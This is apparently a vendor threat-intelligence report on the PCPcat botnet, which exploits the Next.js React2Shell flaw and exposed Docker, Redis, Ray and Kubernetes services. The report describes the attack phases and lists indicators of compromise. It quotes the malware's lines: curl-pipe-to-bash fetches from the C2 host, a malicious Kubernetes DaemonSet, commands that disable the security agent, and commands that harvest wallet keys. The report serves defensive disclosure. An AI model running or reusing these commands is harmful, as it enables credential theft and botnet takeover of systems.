Rubrik Zero Labs has analyzed an active, large-scale botnet campaign exploiting CVE-2025-55182 ("React2Shell"), a critical remote code execution vulnerability in Next.js Server Actions. The PCPcat threat actors have weaponized this vulnerability alongside traditional cloud infrastructure misconfigurations to build a large-scale botnet operation focused on cryptocurrency mining, credential theft, and proxy network construction.

Key Findings:

• Zero-Day Exploitation: Mass exploitation of CVE-2025-55182, affecting Next.js versions 14.3.0-canary.77+, 15.x series, and 16.0.0-16.0.6
  
  
• Massive Scale: Code functionality to use 750 concurrent workers to target Next.js applications; 10,000 workers to scan Docker/Ray infrastructure
  
  
• Multi-Vector Attack: Five distinct initial access vectors including CVE-2025-55182, exposed Docker APIs (ports 2375-2377, 4243-4244), Redis (6379), Ray AI dashboards (8265), and Kubernetes service accounts
  
  
• Targeted Asset Theft: Specialized focus on Web3/cryptocurrency credentials with 15+ Solana-specific extraction commands
  
  
• Proxy Botnet: Sophisticated use of FRP and GOST to create distributed SOCKS5 proxy network aggregating thousands of compromised hosts
  
  
• Cloud-Native Techniques: Automatic Kubernetes cluster propagation, DaemonSet persistence, multi-architecture support(x86_64, ARM64, ARMv7)

Analysis

 

The PCPcat campaign follows a six-phase attack lifecycle optimized for automation and scale:

 

Initial Access → Credential Harvesting → Persistence → Proxy Infrastructure → Lateral Movement → Monetization

 

 

Figure 1: PCPcat Campaign Attack Chain

 

 

Phase 1: Initial Access – CVE-2025-55182 Exploitation

 

The primary attack vector leverages CVE-2025-55182, a critical vulnerability in Next.js Server Actions that allows unauthenticated remote code execution. The react.py scanner operates with 750 concurrent workers, aggressively targeting vulnerable applications across the internet.

 

CVE-2025-55182 (React2Shell) Technical Overview

The vulnerability exists in Next.js's React Server Components (RSC) deserialization logic. Attackers craft malicious multipart form data that exploits JavaScript prototype pollution to achieve arbitrary Node.js code execution. The exploit requires no authentication and can be triggered with a single HTTP POST request.

 

PCPcat Exploitation Flow

 

The attack begins with a specially crafted HTTP request to the target's root path:

 

    POST / HTTP/1.1

    Host: target.com

    Next-Action: x

    Content-Type: multipart/form-data; boundary=----    WebKitFormBoundaryx8jO2oVc6SWP3Sad

 

The injected code leverages:

 

    process.mainModule.require('child_process').execSync() to execute system     commands, with output exfiltrated through Next.js's NEXT_REDIRECT error     mechanism:

    throw Object.assign(new Error('NEXT_REDIRECT'), {

        digest: `NEXT_REDIRECT;push;/login?a=${command_output};307;`

    });

 

This technique is particularly interesting – the attackers embed command output in HTTP redirect URLs captured from the X-Action-Redirect response header.

 

Verification and Credential Harvesting

 

Upon initial access, react.py executes a simple ‘id’ command to verify successful exploitation. If successful, the script immediately begins an extensive credential harvesting operation targeting over 30 sensitive data sources.

 

Of particular note is the campaign's focus on cryptocurrency assets. The script includes more than 15 specialized commands targeting the Solana ecosystem, including:

 

    "find / -name 'keypair.json' 2>/dev/null | head -50 | xargs cat"

    "find ~/.solana -name '*.json' 2>/dev/null"

    "cat ~/.config/solana/id.json 2>/dev/null"

    "cat ./target/deploy/program-keypair.json 2>/dev/null"

    "find .anchor -name '*.json' 2>/dev/null | xargs cat"

 

Additional extraction targets include Bitcoinwallet.dat files, Ethereum keystores, browser extension wallets (MetaMask), AWS credentials, Docker registry configurations,Kubernetes secrets, and SSH private keys.

 

All harvested credentials are exfiltrated to hxxp://44.252.85.168:5656 for centralized aggregation, likely feeding a credential marketplace operation or enabling follow-on attacks against cloud infrastructure.

 

Phase 2: Payload Deployment - proxy.sh Orchestrator

 

Following exploitation via an initial access vector, attackers deploy proxy.sh from hxxp://67.217.57.240:666/files/proxy.sh. This bash script serves as the campaign's orchestrator, demonstrating good environmental awareness and operational capabilities.

 

The script removes existing running xmrig process and disables Alibaba Cloud's Aegis security agent:

 

    pkill -9 xmrig 2>/dev/null

    pkill -9 XMRig 2>/dev/null

    curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash     2>/dev/null

 

Kubernetes Detection and Automatic Propagation

 

One of the campaign's most interesting features is automatic Kubernetes cluster detection and propagation:

 

        if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then

            curl -fsSL "http://67.217.57.240:666/files/kube.py" -o /tmp/k8s.py

            python3 /tmp/k8s.py

        fi

 

When a Kubernetes service account token is detected, the script immediately downloads and executes kube.py, which performs cluster-wide lateral movement (detailed in Phase 5).

 

Multi-Architecture Binary Deployment

 

The script supports x86_64, ARM64, and ARMv7 architectures, enabling compromise of traditional x86 servers, modern ARM-based cloud instances (AWS Graviton, Azure ARM VMs). The campaign deploys two legitimate open-source tools downloaded directly from their official GitHub releases:

 

• FRP (Fast Reverse Proxy) v0.52.3: Creates encrypted reverse tunnels to C2 infrastructure

• GOST v2.12.0: Provides SOCKS5 proxy functionality

   

Phase 3: Proxy Network Construction – The Core Infrastructure

 

The most novel aspect of this campaign is the construction of a large-scale, distributed SOCKS5 proxy network. This infrastructure serves multiple purposes: enabling anonymous scanning from diverse IP ranges, providing proxy services for other criminal activities, and creating resilient C2 communication channels.

 

Each compromised host runs two components:

1. GOST SOCKS5 Proxy: Listens on localhost:1080, providing SOCKS5 proxy functionality

2. FRP Client: Creates an encrypted reverse tunnel from the local GOST proxy to the C2 server

 

Following is the FRP configuration:

 

    serverAddr="67.217.57.240"

    serverPort=888

    auth.token="PCPcat-FRP-Token-2024"

 

    [[proxies]]

    name="pcpcat-<hostname>-<timestamp>"

    type="tcp"

    localIP="127.0.0.1"

    localPort=1080

    remotePort=890

    loadBalancer.group="pcpcat-pool"

    loadBalancer.groupKey="PCPcat-Group-Key"

 

Operational Model

 

Every compromised system connects to the FRP server at 67.217.57.240:888 using the authentication token "PCPcat-FRP-Token-2024". The local SOCKS5 proxy (port 1080) is then exposed through the C2 server on port 890. All compromised hosts join a load balancer group called "pcpcat-pool," allowing the operators to distribute traffic across thousands of compromised systems.

 

This architecture enables several criminal activities:

 

• Distributed Scanning: The campaign's own scanners can route through the proxy pool, scanning from diverse IP ranges to evade rate limiting and IP-based blocking

• Anonymous Access: Operators can access any internet resource through thousands of different IP addresses

• Proxy Service Sales: The botnet can be monetized by selling proxy access to other criminals

• C2 Resilience: Even if some nodes are cleaned, the pool remains operational

 

With 750 concurrent workers targeting Next.js applications and 10,000 workers scanning Docker/Ray infrastructure, combined with Redis and Kubernetes exploitation modules, the campaign can potentially compromise thousands of hosts daily. Each successfully compromised host joins the proxy pool, creating a constantly growing distributed infrastructure.

 

Phase 4: Persistence Mechanisms

 

The campaign implements multiple persistence mechanisms as per environment.

 

Systemd Services (Primary Method)

 

Six systemd services are created with automatic restart capabilities:

 

• pcpcat-gost.service: SOCKS5 proxy (RestartSec=5s)

• pcpcat-frp.service: Reverse tunnel to C2 (RestartSec=5s)

• pcpcat-scanner.service: Docker/Ray continuous scanning (RestartSec=60s)

• pcpcat-react.service: CVE-2025-55182 continuous exploitation (RestartSec=60s)

• pcpcat-redis.service: Redis exploitation module (RestartSec=60s)

• pcpcat-boring.service: Cryptocurrency miner (RestartSec=10s)

   

Each service includes Restart=always, ensuring automatic recovery from crashes or manual termination. The staggered restart timers (5-60 seconds) balance responsiveness with system resource management.

 

Kubernetes DaemonSet (Cloud-Native Persistence)

 

For Kubernetes environments, the campaign deploys a DaemonSet named "system-monitor" in the kube-system namespace.This ensures the malware runs on every node in the cluster with privileged access to the host filesystem and network. 

 

Even if individual pods are deleted, Kubernetes automatically recreates them, providing self-healing persistence.

 

Redis Cron Jobs (Cross-Distribution Compatibility)

 

The redis-deploy.py module writes cron jobs to three different directories: /var/spool/cron/, /var/spool/cron/crontabs/,and /etc/cron.d/. This ensures execution across different Linux distributions (RedHat, Debian, Ubuntu) that use different cron directory structures. 

 

The cron job executes hourly: 

 

    0 * * * * curl -fsSL hxxp://67.217.57.240:666/files/proxy.sh | bash

 

Docker Container Auto-Restart

 

Compromised Docker hosts run containers with RestartPolicy: "always", ensuring the malware restarts whenever Dockerdaemon restarts or the container exits.

 

Phase 5: Lateral Movement – Kubernetes Cluster Takeover

 

When the campaign detects it has compromised a Kubernetes pod (identified by the presence of ‘/var/run/secrets/kubernetes.io/serviceaccount/token’), it executes kube.py for automatic cluster-wide propagation.

 

Pod-Level Command Execution

 

The script first enumerates all pods in the cluster using the Kubernetes API and attempts to execute the payload in each:

 

    exec_url = f"{api_url}/api/v1/namespaces/{namespace}/pods/{pod_name}/exec"

    exec_url += f"?command=sh&command=-c&command=curl+-fsSL+{PROXY_URL}+|+bash"

 

This technique leverages the compromised pod's service account permissions to execute commands in other pods, rapidly spreading through the cluster.

 

DaemonSet Deployment for Cluster-Wide Persistence

 

The most interesting technique is deploying a malicious DaemonSet to kube-system:

 

    daemonset = {

        "metadata": {"name": "system-monitor", "namespace": "kube-system"},

        "spec": {

            "template": {

                "spec": {

                    "hostNetwork": True,

                    "hostPID": True,

                    "containers": [{

                        "name": "monitor",

                        "image": "alpine:latest",

                        "command": ["sh", "-c", "apk add curl bash python3 && curl -fsSL {PROXY_URL} | bash && sleep infinity"],

                        "securityContext": {"privileged": True},

                        "volumeMounts": [{"name": "host", "mountPath": "/host"}]

                    }],

                    "volumes": [{"name": "host", "hostPath": {"path": "/"}}]

                }

            }

        }

    }

 

This technique ensures that even if administrators clean individual compromised pods, the DaemonSet automatically recreates them. The only way to fully remediate is to identify and delete the malicious DaemonSet itself.

 

Phase 6: Additional Attack Vectors

 

Docker API Exploitation

 

The pcpcat.py scanner targets exposed Docker APIs on ports 2375, 2376, 2377, 4243, and 4244 with 10,000 concurrent workers. Upon finding an exposed API, it creates a privileged Alpine Linux container with host network mode and full filesystem access. This container then downloads and executes proxy.sh, joining the botnet network. 

 

Redis Exploitation

 

The redis-deploy.py module scans 250 targets concurrently, focusing on cloud provider IP ranges (AWS, Azure, GCP,DigitalOcean) obtained from public CIDR lists. It generates up to 10,000 target IPs per batch, attempting to connect to Redis on port 6379. Successful connections result in cron job injection using Redis CONFIG SET commands to write malicious entries directly to cron directories.

 

Ray AI Dashboard Exploitation

 

The campaign also targets Ray AI framework dashboards on port 8265. Ray is a distributed computing framework popular in machine learning environments. The attackers submit malicious jobs through the unauthenticated /api/jobs/ endpoint,executing base64-encoded Python payloads that download and run proxy.sh across the entire Ray cluster. 

 

Scale and Impact Assessment

 

The PCPcat campaign operates at significant scale:

 

• 750 concurrent workers scanning for CVE-2025-55182 vulnerability

• 10,000 concurrent workers targeting Docker and Ray infrastructure

• 250 concurrent workers exploiting Redis instances

• Automatic Kubernetes propagation, lateral movement.

• Multi-architecture support (x86_64, ARM64, ARMv7) expanding target surface

   

The distributed proxy network constructed from compromised hosts likely provides multiple monetization streams:

 

• Cryptocurrency Mining: XMRig miner (boring_system binary) generates Monero revenue

• Stolen Assets: Direct theft of cryptocurrency wallets (Solana, Bitcoin, Ethereum)

• Credential Sales: Cloud credentials and SSH keys likely sold on underground markets

• Proxy Services: The SOCKS5 proxy network can be rented to other criminals for anonymous access, DDoS attacks, or additional scanning.

   

The attackers demonstrate deep understanding of blockchain development workflows and represent high-value targeting of cryptocurrency infrastructure.

 

Indicators of Compromise

 

Command & Control Infrastructure:

    67.217.57.240

    44.252.85.168

 

Malicious URLs:

    hxxp://67.217.57.240:666/files/proxy.sh

    hxxp://67.217.57.240:666/files/pcpcat.py

    hxxp://67.217.57.240:666/files/react.py

    hxxp://67.217.57.240:666/files/redis-deploy.py

    hxxp://67.217.57.240:666/files/BORING_SYSTEM

    hxxp://67.217.57.240:666/files/kube.py

    hxxp://44.252.85.168:5656

    hxxp://44.252.85.168:666/files/kube.py

 

Systemd Services:

    /etc/systemd/system/pcpcat-gost.service

    /etc/systemd/system/pcpcat-frp.service

    /etc/systemd/system/pcpcat-scanner.service

    /etc/systemd/system/pcpcat-react.service

    /etc/systemd/system/pcpcat-redis.service

    /etc/systemd/system/pcpcat-boring.service

 

Cron Jobs:

    /var/spool/cron/root

    /var/spool/cron/crontabs/root

    /etc/cron.d/teampcp

    Content: "0 * * * * curl -fsSL http://67.217.57.240:666/files/proxy.sh | bash"

 

Container and Kubernetes Indicators:

    Docker Containers

    Container Name: teampcp

    Image: alpine:latest

    Privileged: true

    NetworkMode: host

    RestartPolicy: always

 

Kubernetes Resources:

    DaemonSet Name: system-monitor

    Namespace: kube-system

    Label: app=system-monitor

    Image: alpine:latest

    Privileged: true

    hostNetwork: true

    hostPID: true

    Volume Mount: /host